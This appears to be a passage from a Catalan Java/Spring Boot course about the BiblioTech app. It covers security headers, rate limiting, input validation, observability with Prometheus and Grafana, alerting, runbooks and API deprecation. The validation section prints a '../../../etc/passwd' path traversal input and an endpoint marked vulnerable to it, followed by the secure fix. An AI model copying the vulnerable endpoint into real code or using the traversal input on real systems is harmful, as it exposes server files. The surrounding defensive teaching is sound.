| Capçalera | Protegeix de | Valor |
|---|---|---|
Strict-Transport-Security |
Degradació a HTTP | max-age=31536000; includeSubDomains |
Content-Security-Policy |
XSS | default-src 'self'; object-src 'none' |
X-Content-Type-Options |
Endevinació del tipus MIME | nosniff |
X-Frame-Options |
Clickjacking | DENY |
Referrer-Policy |
Fuita d'URL | strict-origin-when-cross-origin |
Permissions-Policy |
Accés a càmera, micròfon… | geolocation=(), camera=() |
Límits de mida, perquè ningú no tombi el servei amb una petició enorme:
spring:
servlet:
multipart:
max-file-size: 10MB
max-request-size: 12MB
server:
tomcat:
max-http-form-post-size: 2MB
max-swallow-size: 2MB
connection-timeout: 20s
threads:
max: 200Límit de taxa, amb Resilience4j (esmentat a 11-07):
@Component
public class FiltreLimitTaxa extends OncePerRequestFilter {
private final Cache<String, Bucket> cubells = Caffeine.newBuilder()
.expireAfterAccess(Duration.ofMinutes(10))
.maximumSize(100_000)
.build();
@Override
protected void doFilterInternal(HttpServletRequest p, HttpServletResponse r, FilterChain c)
throws ServletException, IOException {
String clau = clauDe(p); // usuari autenticat, o IP si es anonim
Bucket cubell = cubells.get(clau, k -> nouCubell(p));
ConsumptionProbe sonda = cubell.tryConsumeAndReturnRemaining(1);
if (sonda.isConsumed()) {
r.setHeader("X-RateLimit-Remaining", String.valueOf(sonda.getRemainingTokens()));
c.doFilter(p, r);
} else {
long esperaSegons = sonda.getNanosToWaitForRefill() / 1_000_000_000;
r.setStatus(HttpStatus.TOO_MANY_REQUESTS.value()); // 429
r.setHeader(HttpHeaders.RETRY_AFTER, String.valueOf(esperaSegons));
escriureProblema(r, "Massa peticions. Reintenta-ho en " + esperaSegons + " s.");
}
}
private Bucket nouCubell(HttpServletRequest p) {
// El login es limita MOLT mes: es la porta als atacs de forca bruta
boolean esLogin = p.getRequestURI().startsWith("/api/auth/login");
int perMinut = esLogin ? 5 : 100;
return Bucket.builder()
.addLimit(l -> l.capacity(perMinut).refillGreedy(perMinut, Duration.ofMinutes(1)))
.build();
}
}
- Validació de tota entrada externa
Reprèn 09-03 i 12-04, i s'enuncia com una regla:
Tota entrada externa és hostil fins que es demostri el contrari. Externa inclou: cossos de peticions, paràmetres, capçaleres, galetes, fitxers pujats, respostes d'API externes, missatges de cues, arguments de línia d'ordres i variables d'entorn.
| Entrada | Risc | Validació |
|---|---|---|
| Cos JSON | Injecció, camps inesperats | @Valid + DTO tancat (12-04) |
| Paràmetre de camí | Path traversal, injecció | Convertidor tipat + patró |
| Nom de fitxer pujat | ../../etc/passwd |
Nom generat, mai el de l'usuari |
| Contingut de fitxer | Zip bomb, programari maliciós, XXE | Límit de mida, tipus verificat |
| Resposta d'API externa | Dades malformades o malicioses | DTO tipat, límits, temps d'espera |
Capçalera Host |
Enverinament de memòria cau | Llista blanca de hosts permesos |
El cas del path traversal, que és l'error més fàcil de cometre:
// VULNERABLE: nom = "../../../etc/passwd"
@GetMapping("/api/informes/{nom}")
public Resource descarregar(@PathVariable String nom) throws IOException {
return new FileSystemResource(Path.of("/var/bibliotech/informes/", nom));
}// SEGUR: normalitzar i verificar que continua dins del directori permes
private static final Path BASE = Path.of("/var/bibliotech/informes").toAbsolutePath().normalize();
@GetMapping("/api/informes/{nom}")
public Resource descarregar(@PathVariable @Pattern(regexp = "[a-zA-Z0-9._-]{1,64}") String nom)
throws IOException {
Path demanat = BASE.resolve(nom).normalize();
// La comprovacio DECISIVA: despres de normalitzar, continua dins de BASE?
if (!demanat.startsWith(BASE)) {
throw new AccessDeniedException("Cami no permes");
}
if (!Files.isRegularFile(demanat)) {
throw new RecursNoTrobatException(nom);
}
return new FileSystemResource(demanat);
}I l'XXE (XML External Entity), que afecta qualsevol processament d'XML:
// SEGUR: desactivar les entitats externes abans de llegir qualsevol XML
DocumentBuilderFactory fabrica = DocumentBuilderFactory.newInstance();
fabrica.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
fabrica.setFeature("http://xml.org/sax/features/external-general-entities", false);
fabrica.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
fabrica.setXIncludeAware(false);
fabrica.setExpandEntityReferences(false);
- Advertència sobre seguretat real
⚠️ ADVERTÈNCIA IMPORTANT
El que has après en aquesta lliçó és una base sòlida, i no és suficient per posar en producció un sistema que gestioni dades personals, credencials o diners.
Un curs et pot ensenyar els mecanismes: BCrypt, JWT, autorització, validació, capçaleres. No pot substituir:
- Una revisió per part d'un professional de seguretat. Les vulnerabilitats reals solen ser a les interaccions entre components, no en un mecanisme aïllat. Algú que s'hi dedica veu coses que qui va escriure el codi no pot veure.
- Una prova de penetració abans d'exposar el sistema a internet.
- El compliment de la normativa aplicable. A la Unió Europea, el RGPD imposa obligacions concretes i amb sancions: base legal per tractar les dades, minimització, dret d'accés, rectificació i supressió, notificació de bretxes en 72 hores, avaluacions d'impacte, i registre d'activitats de tractament. Si BiblioTech desa noms, correus i hàbits de lectura d'empleats, està tractant dades personals i el RGPD s'hi aplica.
- Una política de gestió d'incidents. Què es fa quan —no si— es detecta una bretxa: qui decideix, a qui s'avisa, com es roten les credencials, com es comunica.
- Formació contínua. Les tècniques d'atac evolucionen. El que era segur el 2020 pot no ser-ho avui.
Regla pràctica: si el teu sistema gestiona dades de persones reals, credencials o pagaments, no l'exposis sense que algú amb formació específica en seguretat l'hagi revisat. No és pessimisme: és que el cost d'equivocar-se el paguen tercers que van confiar en tu.
I una regla més, que és la que evita més incidents: no implementis criptografia pròpia. Fes servir BCrypt o Argon2 per a contrasenyes, TLS per al transport, i llibreries establertes per a tota la resta. Tots els sistemes criptogràfics trencats de la història van començar amb algú convençut que la seva idea era bona.
Part II: Observabilitat
- Observabilitat: els tres pilars
El monitoratge respon a preguntes que ja sabies que faries. L'observabilitat permet respondre a preguntes que no havies previst. La diferència importa quan el problema és nou, que és sempre.
| Pilar | Què és | Respon a | Cost | Retenció |
|---|---|---|---|---|
| Registres | Esdeveniments discrets amb context | «Què ha passat exactament en aquesta petició?» | Alt (volum) | Dies o setmanes |
| Mètriques | Valors numèrics agregats en el temps | «Quantes peticions per segon? Quina latència?» | Baix | Mesos o anys |
| Traces | El recorregut d'una petició pel sistema | «En quin component se n'ha anat el temps?» | Mitjà (mostreig) | Dies |
Per què no n'hi ha prou amb els registres, que és el que gairebé tothom té i res més:
| Pregunta | Ho responen els logs? |
|---|---|
| Quantes peticions per segon? | Comptant línies: car i aproximat |
| Quina és la latència del percentil 99? | Pràcticament impossible |
| Ha empitjorat respecte de la setmana passada? | No, si ja s'han rotat |
| S'està esgotant el pool de connexions? | Només si algú va pensar a registrar-ho |
| Què triga més, la base de dades o l'API externa? | Molt laboriosament |
| Quanta memòria queda abans del pròxim GC? | No |
I hi ha un problema afegit: registrar al nivell necessari per respondre a aquestes preguntes produeix tal volum que esdevé inassumible en cost i en soroll. Les mètriques són barates perquè agreguen; els registres són cars perquè conserven cada esdeveniment.
- Actuator i Micrometer
Micrometer és a les mètriques el que SLF4J és al logging (11-07): una façana que desacobla el teu codi del sistema de mètriques concret. Escrius contra Micrometer i decideixes després si van a Prometheus, Datadog, CloudWatch o New Relic.
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
<dependency>
<groupId>io.micrometer</groupId>
<artifactId>micrometer-registry-prometheus</artifactId>
<scope>runtime</scope>
</dependency>management:
endpoints:
web:
exposure:
include: health,info,metrics,prometheus,loggers
endpoint:
health:
probes: { enabled: true }
show-details: when-authorized
metrics:
tags:
application: bibliotech # etiqueta comuna a TOTES les mètriques
entorn: ${SPRING_PROFILES_ACTIVE:desconegut}
observations:
key-values:
version: ${bibliotech.version}
prometheus:
metrics:
export:
enabled: trueAmb això, Spring Boot ja exposa desenes de mètriques sense escriure codi:
| Mètrica | Què mesura |
|---|---|
http.server.requests |
Peticions: compte, latència, per ruta, mètode i estat |
jvm.memory.used |
Memòria per regió (10-07) |
jvm.gc.pause |
Pauses del recol·lector |
jvm.threads.live |
Fils vius |
hikaricp.connections.active |
Connexions del pool en ús |
hikaricp.connections.pending |
Fils esperant connexió |
spring.data.repository.invocations |
Crides a repositoris |
system.cpu.usage |
CPU |
logback.events |
Esdeveniments de log per nivell |
Els quatre tipus d'instrument:
| Tipus | Què mesura | Exemple |
|---|---|---|
| Counter | Valor que només creix | Préstecs creats |
| Gauge | Valor instantani | Materials disponibles |
| Timer | Durada i freqüència | Temps de càlcul de multes |
| DistributionSummary | Distribució de valors | Mida de les importacions |
- Mètriques de negoci
Les mètriques tècniques diuen si el sistema està sa. Les de negoci diuen si està fent la seva feina, i són les que detecten les fallades silencioses.
@Service
public class MetriquesBiblioTech {
private final Counter prestecsCreats;
private final Counter prestecsRebutjats;
private final Counter multesEmeses;
private final Timer tempsCalculMultes;
private final DistributionSummary quantitatMultes;
public MetriquesBiblioTech(MeterRegistry registre, RepositoriMaterials materials) {
this.prestecsCreats = Counter.builder("bibliotech.prestecs.creats")
.description("Prestecs creats correctament")
.baseUnit("prestecs")
.register(registre);
this.prestecsRebutjats = Counter.builder("bibliotech.prestecs.rebutjats")
.description("Intents de prestec rebutjats")
.register(registre);
this.multesEmeses = Counter.builder("bibliotech.multes.emeses")
.register(registre);
this.tempsCalculMultes = Timer.builder("bibliotech.multes.calcul")
.publishPercentiles(0.5, 0.95, 0.99)
.register(registre);
this.quantitatMultes = DistributionSummary.builder("bibliotech.multes.quantitat")
.baseUnit("euros")
.publishPercentiles(0.5, 0.95)
.register(registre);
// Gauge: es consulta quan es recull la metrica.
// COMPTE: la funcio ha de ser BARATA. Aqui una consulta desada en cau, no un count() a la BD.
Gauge.builder("bibliotech.materials.disponibles", materials::comptarDisponiblesEnCau)
.description("Materials amb almenys una unitat lliure")
.register(registre);
}
/** Amb etiqueta de motiu: permet veure PER QUE es rebutgen. */
public void prestecRebutjat(String motiu) {
prestecsRebutjats.increment();
Counter.builder("bibliotech.prestecs.rebutjats.per.motiu")
.tag("motiu", motiu) // limit_excedit, sense_unitats, multes_pendents
.register(registre)
.increment();
}
}I l'ús, integrat al cas d'ús:
@Service
public class GestorPrestecs {
@Timed(value = "bibliotech.prestecs.duracio", percentiles = {0.5, 0.95, 0.99})
@Transactional
public Prestec prestar(Isbn isbn, Long idEmpleat, Integer dies) {
try {
Prestec prestec = crearPrestec(isbn, idEmpleat, dies);
metriques.prestecCreat(prestec.getMaterial().tipus());
return prestec;
} catch (LimitPrestecsExceditException e) {
metriques.prestecRebutjat("limit_excedit");
throw e;
} catch (MaterialNoDisponibleException e) {
metriques.prestecRebutjat("sense_unitats");
throw e;
}
}
}Avís sobre la cardinalitat. No facis servir mai com a etiqueta un valor amb molts valors possibles: identificador d'usuari, ISBN, adreça IP, marca de temps. Cada combinació d'etiquetes crea una sèrie temporal diferent, i una etiqueta amb 100.000 valors crea 100.000 sèries. És la manera més ràpida de tombar un Prometheus. Etiquetes bones: tipus de material (3 valors), motiu de rebuig (5), estat HTTP (10). Etiquetes prohibides:
idEmpleat,isbn,urlcompleta amb paràmetres.
- Prometheus i Grafana
Prometheus recull mètriques mitjançant scraping: consulta periòdicament l'endpoint que exposa l'aplicació.
$ curl -s localhost:8080/actuator/prometheus | grep bibliotech_prestecs
# HELP bibliotech_prestecs_creats_total Prestecs creats correctament
# TYPE bibliotech_prestecs_creats_total counter
bibliotech_prestecs_creats_total{application="bibliotech",entorn="prod",tipus="LLIBRE"} 1247.0
bibliotech_prestecs_creats_total{application="bibliotech",entorn="prod",tipus="DVD"} 89.0# prometheus.yml
global:
scrape_interval: 15s
scrape_configs:
- job_name: bibliotech
metrics_path: /actuator/prometheus
static_configs:
- targets: ['bibliotech:8080']
rule_files:
- alertes.ymlConsultes PromQL per a les preguntes que de debò es fan:
# Peticions per segon, per endpoint
sum(rate(http_server_requests_seconds_count[5m])) by (uri)
# Latència del percentil 95
histogram_quantile(0.95, sum(rate(http_server_requests_seconds_bucket[5m])) by (le, uri))
# Taxa d'error (5xx sobre el total)
sum(rate(http_server_requests_seconds_count{status=~"5.."}[5m]))
/ sum(rate(http_server_requests_seconds_count[5m]))
# Ús del pool de connexions
hikaricp_connections_active / hikaricp_connections_max
# Préstecs per hora
sum(rate(bibliotech_prestecs_creats_total[1h])) * 3600
# Memòria del heap en ús, en percentatge
sum(jvm_memory_used_bytes{area="heap"}) / sum(jvm_memory_max_bytes{area="heap"})Afegir a compose.yaml (12-06) la pila completa per a desenvolupament:
prometheus:
image: prom/prometheus:latest
volumes:
- ./observabilitat/prometheus.yml:/etc/prometheus/prometheus.yml:ro
- ./observabilitat/alertes.yml:/etc/prometheus/alertes.yml:ro
ports: ["9090:9090"]
grafana:
image: grafana/grafana:latest
environment:
GF_SECURITY_ADMIN_PASSWORD: ${GRAFANA_PASSWORD:-admin}
volumes:
- ./observabilitat/grafana:/etc/grafana/provisioning:ro
ports: ["3000:3000"]
depends_on: [prometheus]
- Els quatre senyals d'or
De totes les mètriques possibles, n'hi ha quatre que responen al 90 % de les preguntes operatives. Vénen del llibre d'SRE de Google i són el punt de partida de qualsevol panell:
| Senyal | Què mesura | A BiblioTech | Alerta si |
|---|---|---|---|
| Latència | Temps de resposta | p95 i p99 d'http.server.requests |
p95 > 500 ms durant 5 min |
| Trànsit | Demanda | Peticions per segon | Caiguda del 50 % respecte de l'habitual |
| Errors | Peticions fallides | Taxa de 5xx | > 1 % durant 5 min |
| Saturació | Com de ple està el sistema | Pool de connexions, memòria, CPU | Pool > 80 %, heap > 85 % |
Dos matisos que importen més del que sembla:
Mesura percentils, no mitjanes. La mitjana amaga exactament els casos que molesten. Amb 1.000 peticions de 50 ms i 10 de 8 segons, la mitjana és 129 ms —sembla bé— i hi ha deu usuaris convençuts que el sistema està trencat. El p99 sí que ho veu.
La latència dels errors es mesura a part. Un 500 que respon en 3 ms millora artificialment la mitjana de latència. Separa sempre la latència de les peticions correctes i la de les fallides.
- Traces distribuïdes
Quan una petició travessa diversos components, els registres dispersos no diuen on se n'ha anat el temps. Les traces segueixen la petició d'extrem a extrem.
<dependency>
<groupId>io.micrometer</groupId>
<artifactId>micrometer-tracing-bridge-otel</artifactId>
</dependency>
<dependency>
<groupId>io.opentelemetry</groupId>
<artifactId>opentelemetry-exporter-otlp</artifactId>
</dependency>management:
tracing:
sampling:
probability: 0.1 # 10 % de les peticions: cost baix, mostra suficient
otlp:
tracing:
endpoint: http://tempo:4318/v1/traces
logging:
pattern:
# traceId i spanId a CADA línia de log: així s'uneix una traça amb els seus registres
level: "%5p [${spring.application.name},%X{traceId:-},%X{spanId:-}]"Una traça de POST /api/prestecs:
Trace a3f7e91c4b2d8f6a ─── total: 187 ms ├── http POST /api/prestecs 187 ms │ ├── GestorPrestecs.prestar 184 ms │ │ ├── select material where isbn = ? 4 ms │ │ ├── select count(*) from prestecs where … 3 ms │ │ ├── PassarelaMetadades.cercar (HTTP extern) 142 ms ← EL CULPABLE │ │ ├── insert into prestecs 6 ms │ │ └── NotificadorAvisos.notificar 27 ms │ └── serialitzacio JSON 2 ms
D'un cop d'ull: el 76 % del temps se'n va en una crida HTTP externa. Sense traces, això són hores d'instrumentació manual.
I aquí es cobra el MDC de 11-07. El traceId que Micrometer Tracing propaga és el mateix identificador de correlació que ja vas posar al MDC, el mateix que apareix al ProblemDetail de 12-04, i el mateix que retorna la CLI al seu identificador d'incidència (12-03). Un usuari reporta un problema amb l'identificador a3f7e91c; amb ell tens la traça completa, tots els registres d'aquella petició i el punt exacte on va fallar.
Traces pròpies allà on calguin:
@Service
public class EnriquidorCataleg {
private final ObservationRegistry registre;
public void enriquir(List<Material> materials) {
Observation.createNotStarted("bibliotech.enriquir", registre)
.lowCardinalityKeyValue("origen", "api-metadades")
.highCardinalityKeyValue("quantitat", String.valueOf(materials.size()))
.observe(() -> {
materials.forEach(this::enriquirUn);
});
}
}
- Registres en producció
En producció, els registres han de ser estructurats. Un log en text pla obliga les eines a endevinar; un en JSON es consulta com una base de dades.
<!-- logback-spring.xml, reprenent 11-07 -->
<configuration>
<springProfile name="dev">
<appender name="CONSOLA" class="ch.qos.logback.core.ConsoleAppender">
<encoder>
<pattern>%d{HH:mm:ss.SSS} %highlight(%-5level) [%X{traceId:-}] %cyan(%logger{25}) - %msg%n</pattern>
</encoder>
</appender>
<root level="INFO"><appender-ref ref="CONSOLA"/></root>
</springProfile>
<springProfile name="prod">
<appender name="JSON" class="ch.qos.logback.core.ConsoleAppender">
<encoder class="net.logstash.logback.encoder.LogstashEncoder">
<includeMdcKeyName>traceId</includeMdcKeyName>
<includeMdcKeyName>spanId</includeMdcKeyName>
<includeMdcKeyName>usuariId</includeMdcKeyName>
<customFields>{"aplicacio":"bibliotech","entorn":"prod"}</customFields>
<fieldNames>
<timestamp>marca_temps</timestamp>
<message>missatge</message>
</fieldNames>
</encoder>
</appender>
<!-- Asincron: registrar NO ha de frenar les peticions -->
<appender name="ASINCRON" class="ch.qos.logback.classic.AsyncAppender">
<appender-ref ref="JSON"/>
<queueSize>2048</queueSize>
<discardingThreshold>0</discardingThreshold> <!-- no descartar WARN ni ERROR -->
<neverBlock>true</neverBlock> <!-- amb saturacio, descartar abans que bloquejar -->
</appender>
<root level="INFO"><appender-ref ref="ASINCRON"/></root>
<logger name="AUDITORIA" level="INFO" additivity="false">
<appender-ref ref="ASINCRON"/>
</logger>
</springProfile>
</configuration>{
"marca_temps": "2026-08-05T10:23:45.123Z",
"level": "INFO",
"logger_name": "com.nexussoftware.bibliotech.aplicacio.GestorPrestecs",
"missatge": "Prestec creat id=42 isbn=978-0000000001",
"traceId": "a3f7e91c4b2d8f6a",
"spanId": "8f6a2b1c",
"usuariId": "1",
"aplicacio": "bibliotech",
"entorn": "prod"
}En contenidors, escriu sempre a la sortida estàndard. No a fitxers: el contenidor és efímer (12-06) i l'orquestrador ja recull la sortida estàndard i l'envia a l'agregador (Loki, Elasticsearch, CloudWatch).
Què NO registrar, mai:
| No registrar | Motiu |
|---|---|
| Contrasenyes, ni tan sols per depurar | Queden a l'agregador durant mesos |
| Tokens, claus d'API, galetes de sessió | Robables amb accés de només lectura al log |
| Números de targeta, DNI, dades de salut | RGPD i PCI-DSS |
| Cossos complets de peticions | Solen portar tot l'anterior |
| Dades personals innecessàries | Minimització del RGPD |
| Dins d'un bucle sobre 50.000 elements | Cost i soroll |
Retenció, amb criteri de cost i de normativa:
| Tipus | Retenció | Motiu |
|---|---|---|
| DEBUG | No es registra en producció | Volum |
| INFO | 7-14 dies | Diagnòstic recent |
| WARN / ERROR | 30-90 dies | Anàlisi de tendències |
| Auditoria | 1-7 anys | Obligació legal |
| Mètriques | 13 mesos | Comparar amb l'any anterior |
- Alertes útils enfront del soroll
Una alerta que s'ignora és pitjor que no tenir-la: entrena l'equip a ignorar-les totes.
| Alerta bona | Alerta dolenta |
|---|---|
| Requereix acció humana ara | És informativa |
| Indica impacte en l'usuari | Indica una causa que pot no importar |
| Rara i creïble | Freqüent i amb falsos positius |
| Diu què cal fer | Només diu què ha passat |
| Té un procediment associat | Ningú no sap què fer-ne |
# alertes.yml
groups:
- name: bibliotech
rules:
# ✅ BONA: impacte directe en usuaris, requereix acció
- alert: TaxaErrorsAlta
expr: |
sum(rate(http_server_requests_seconds_count{status=~"5..",application="bibliotech"}[5m]))
/ sum(rate(http_server_requests_seconds_count{application="bibliotech"}[5m])) > 0.01
for: 5m
labels: { severitat: critica }
annotations:
summary: "Més de l'1 % de les peticions fallen amb 5xx"
descripcio: "Taxa actual: {{ $value | humanizePercentage }}"
accio: "Revisa els logs amb severity=ERROR i les traces del darrer desplegament"
runbook: "https://wiki.nexussoftware.com/bibliotech/runbook#errors-5xx"
# ✅ BONA: prediu una fallada abans que passi
- alert: PoolDeConnexionsEsgotantse
expr: hikaricp_connections_pending{application="bibliotech"} > 5
for: 3m
labels: { severitat: alta }
annotations:
summary: "{{ $value }} fils esperant connexió a la base de dades"
accio: "Busca consultes lentes; considera apujar maximum-pool-size"
# ✅ BONA: detecta una fallada SILENCIOSA
- alert: SensePrestecsEnHorariLaboral
expr: |
sum(rate(bibliotech_prestecs_creats_total[30m])) == 0
and on() (hour() >= 8 < 18) and on() (day_of_week() > 0 < 6)
for: 30m
labels: { severitat: mitjana }
annotations:
summary: "Ni un sol préstec en 30 minuts en horari laboral"
descripcio: "El sistema respon, però potser hi ha una fallada funcional"
# ❌ DOLENTA: no implica impacte i es dispara constantment
# - alert: UsDeCpuAlt
# expr: system_cpu_usage > 0.8
# Un pic de CPU de 30 segons no requereix que ningú s'aixequi.
# ❌ DOLENTA: informativa, no accionable
# - alert: DesplegamentRealitzat
# Això va a un canal de notificacions, no a una alerta.L'alerta de «cap préstec en horari laboral» és la més interessant de les tres, perquè detecta el tipus de fallada que cap mètrica tècnica no veu: el sistema respon 200 a tot, la latència és perfecta, la CPU està tranquil·la… i una regla de negoci trencada impedeix que ningú pugui prestar res.
Nota: SLI, SLO i pressupost d'error. Un SLI (indicador) és una mètrica que mesura l'experiència de l'usuari: per exemple, «percentatge de peticions correctes per sota de 300 ms». Un SLO (objectiu) és la meta: «99,5 % mensual». El pressupost d'error és el que queda: amb un 99,5 %, pots fallar el 0,5 % del mes, és a dir, unes 3,6 hores. La seva utilitat és que converteix una discussió subjectiva en una decisió amb dades: si la primera setmana has consumit el 80 % del pressupost, es congelen les funcionalitats noves i es dedica l'esforç a la fiabilitat. I si portes sis mesos sense gastar-lo, probablement estàs essent massa conservador i pots desplegar més sovint. Un SLO del 100 % no és un objectiu ambiciós: és un objectiu mal definit, perquè el seu cost és infinit.
- El quadre de comandament de BiblioTech
Un panell de Grafana amb tres files, ordenades pel que es mira primer:
| Fila | Panells | Per a qui |
|---|---|---|
| Salut | Disponibilitat, taxa d'error, p95 i p99, peticions per segon | Tothom, d'un cop d'ull |
| Recursos | Heap, pauses de GC, fils, pool de connexions, CPU | Qui diagnostica |
| Negoci | Préstecs/hora, devolucions, multes emeses, materials disponibles, rebutjos per motiu | Producte i operacions |
{
"title": "BiblioTech — Salut",
"panels": [
{
"title": "Taxa d'error (5xx)",
"targets": [{ "expr": "sum(rate(http_server_requests_seconds_count{status=~\"5..\"}[5m])) / sum(rate(http_server_requests_seconds_count[5m]))" }],
"thresholds": [{ "value": 0.01, "color": "red" }]
},
{
"title": "Latència p95 per endpoint",
"targets": [{ "expr": "histogram_quantile(0.95, sum(rate(http_server_requests_seconds_bucket[5m])) by (le, uri))" }]
},
{
"title": "Préstecs per hora",
"targets": [{ "expr": "sum(rate(bibliotech_prestecs_creats_total[1h])) * 3600" }]
},
{
"title": "Rebutjos per motiu",
"targets": [{ "expr": "sum(rate(bibliotech_prestecs_rebutjats_per_motiu_total[15m])) by (motiu)" }]
}
]
}I una regla de disseny de panells: si un panell no ha servit mai per prendre una decisió, treu-lo. Un quadre de comandament amb quaranta gràfiques no es mira; un amb vuit, sí.
Part III: Evolució
- Versionat de l'API i depreciació
Tan bon punt un client extern consumeix la teva API, el contracte deixa de ser teu. Canviar-lo trenca sistemes aliens.
| Estratègia | Exemple | Avantatges | Inconvenients |
|---|---|---|---|
| A l'URI | /api/v1/materials |
Explícita, es pot desar en cau, fàcil d'encaminar | Duplica rutes; poc «REST pur» |
| Capçalera pròpia | X-Api-Version: 2 |
URI neta | Invisible; difícil de provar amb el navegador |
| Negociació de contingut | Accept: application/vnd.bibliotech.v2+json |
La més «correcta» | Complexa d'usar i de depurar |
| Paràmetre | /api/materials?versio=2 |
Molt simple | Es barreja amb els filtres |
| Sense versió | /api/materials |
Sense cost | Només viable si mai no hi ha canvis incompatibles |
Recomanació per a BiblioTech: versió a l'URI. No és la més elegant, és la més pràctica: es veu en qualsevol log, es prova amb curl, s'encamina al proxy i qualsevol l'entén.
El més important no és l'estratègia, sinó saber quins canvis trenquen i quins no:
| Canvi | Trenca? |
|---|---|
| Afegir un camp a la resposta | No (si els clients ignoren el que desconeixen) |
| Afegir un paràmetre opcional | No |
| Afegir un endpoint | No |
| Eliminar un camp de la resposta | Sí |
| Reanomenar un camp | Sí |
| Canviar el tipus d'un camp | Sí |
| Fer obligatori un camp opcional | Sí |
| Canviar un codi d'estat | Sí |
| Restringir un rang de valors | Sí |
La primera fila és la clau: si els teus clients ignoren els camps desconeguts, pots afegir sense trencar res. Per això @JsonIgnoreProperties(ignoreUnknown = true) d'11-07 no és un detall: és el que permet que l'API evolucioni.
Depreciació ordenada, en quatre fases:
@GetMapping("/api/v1/materials/{isbn}")
@Deprecated(since = "1.5.0", forRemoval = true)
@Operation(deprecated = true,
summary = "[OBSOLET] Fes servir /api/v2/materials/{isbn}",
description = "S'eliminara el 2027-01-01. Canvis a v2: el camp 'disponible' "
+ "(boolea) es substitueix per 'unitatsDisponibles' (enter).")
public ResponseEntity<MaterialResponseV1> perIsbnV1(@PathVariable Isbn isbn) {
return ResponseEntity.ok()
.header("Deprecation", "true") // RFC 8594
.header("Sunset", "Fri, 01 Jan 2027 00:00:00 GMT")
.header("Link", "</api/v2/materials/" + isbn + ">; rel=\"successor-version\"")
.body(MaterialResponseV1.desDe(cataleg.perIsbn(isbn).orElseThrow()));
}| Fase | Durada | Què es fa |
|---|---|---|
| 1. Anunci | — | Publicar v2, documentar la migració, avisar els clients |
| 2. Depreciació | 6-12 mesos | v1 funciona, amb capçaleres Deprecation i Sunset; mesurar-ne l'ús |
| 3. Avís final | 1 mes | Contactar directament amb qui continuï fent servir v1 |
| 4. Retirada | — | v1 retorna 410 Gone amb enllaç a v2 |
I una mètrica que fa que tot això funcioni:
@Component
public class MetriquesVersioApi {
@EventListener
public void alFerServirV1(PeticioV1Event esdeveniment) {
Counter.builder("bibliotech.api.v1.us")
.tag("client", esdeveniment.identificadorClient()) // baixa cardinalitat
.register(registre)
.increment();
}
}Sense aquesta mètrica, retirar v1 és una aposta. Amb ella, saps exactament qui queda i el pots trucar.
- Deute tècnic i actualitzacions
Gestió del deute. Reprenent 12-05, el deute es gestiona fent-lo visible:
| Pràctica | Com |
|---|---|
| Registrar-lo | Incidències amb etiqueta deute-tecnic i el seu cost estimat |
| Quantificar-lo | «Això ens costa 2 h per sprint» és un argument; «és lleig» no ho és |
| Pressupostar-lo | Un 15-20 % de la capacitat de cada iteració |
| Pagar-lo on fa mal | Refactoritzar el que es toca sovint, no el que és lleig i quiet |
| Prevenir-lo | Clean as You Code de 12-05 |
Actualitzar Java. El calendari de suport:
| Versió | Tipus | Suport fins |
|---|---|---|
| Java 17 | LTS | 2029 |
| Java 21 | LTS | 2031 |
| Java 25 | LTS | ~2033 |
| Intermèdies (22, 23, 24…) | 6 mesos | La següent |
Estratègia raonable: producció en LTS, i provar cada versió intermèdia a CI (la matriu de 12-05) per detectar problemes amb antelació.
Actualitzar Spring Boot, que és el que sol donar més feina:
| Tipus | Exemple | Risc | Freqüència |
|---|---|---|---|
| Pedaç | 3.3.4 → 3.3.5 | Molt baix. Correccions de seguretat | Mensual |
| Menor | 3.3 → 3.4 | Baix. Algunes depreciacions | Cada 6 mesos |
| Major | 2.7 → 3.0 | Alt: javax → jakarta, Java 17 mínim |
Amb planificació |
./mvnw versions:display-dependency-updates # quines dependències tenen versió nova
./mvnw versions:display-plugin-updates
./mvnw versions:display-property-updatesProcediment segur per a una actualització major, que és el que evita les setmanes perdudes:
- Llegir les notes de migració oficials, senceres. No és opcional.
- Branca pròpia, només per a l'actualització. Sense barrejar-hi funcionalitats.
- Pujar una versió menor cada vegada (3.1 → 3.2 → 3.3), no de cop.
- Executar la suite completa a cada salt.
- Corregir depreciacions abans de pujar a la major següent.
- Desplegar a preproducció i vigilar mètriques 48 hores.
- Producció amb blau-verd (12-06), a punt per fer tornada enrere.
I una eina que estalvia molta feina mecànica: OpenRewrite aplica receptes de migració automàticament.
./mvnw org.openrewrite.maven:rewrite-maven-plugin:run \
-Drewrite.activeRecipes=org.openrewrite.java.spring.boot3.UpgradeSpringBoot_3_3
- Documentació que sobreviu
Tota documentació queda obsoleta. L'única que no ho fa és la que es genera o es verifica automàticament.
| Document | On | Com sobreviu |
|---|---|---|
| README | Arrel del repositori | CI executa les seves ordres d'arrencada |
| OpenAPI | Generat del codi | Es genera; no pot mentir |
| ADR | docs/adr/ |
Immutables per disseny (12-01) |
| Javadoc del domini | Al codi | Es llegeix en fer servir la classe |
| Runbooks | Wiki, enllaçats des de les alertes | Es revisen després de cada incident |
| Diagrames d'arquitectura | docs/, com a codi (Mermaid, PlantUML) |
Es revisen al PR |
| Wiki amb «com funciona el sistema» | — | No sobreviu. Evita-la |
Un runbook és el que més s'agraeix a les tres de la matinada:
# Runbook: TaxaErrorsAlta
## Què significa
Més de l'1 % de les peticions retornen 5xx durant 5 minuts.
## Impacte
Usuaris rebent errors. Prioritat alta.
## Diagnòstic
1. Hi ha hagut cap desplegament en la darrera hora?
`kubectl rollout history deployment/bibliotech -n produccio`
→ Si sí, **la primera hipòtesi és aquesta**: `kubectl rollout undo`
2. Quin endpoint falla?
Grafana → BiblioTech Salut → «Errors per endpoint»
3. Quina excepció?
`{aplicacio="bibliotech"} | json | level="ERROR"` a Loki, darrers 15 min
4. La base de dades respon?
`curl -s $BASE/actuator/health | jq .components.db`
5. El pool està saturat?
Grafana → Recursos → «Connexions pendents»
## Causes freqüents
| Símptoma | Causa | Solució |
|---|---|---|
| Errors després d'un desplegament | Regressió | `kubectl rollout undo` |
| `CannotGetJdbcConnection` | BD caiguda o pool esgotat | Comprovar la BD; buscar consultes lentes |
| `SocketTimeoutException` a metadades | API externa caiguda | Activar el mode degradat |
| OOMKilled als pods | Memòria insuficient | Apujar el límit; buscar fuites (10-07) |
## Escalat
Sense resoldre en 30 min → avisar el responsable de guàrdia.
- Com fer créixer BiblioTech
Nexus Software creix i BiblioTech ha de créixer amb ella. Quatre escenaris i com s'abordarien:
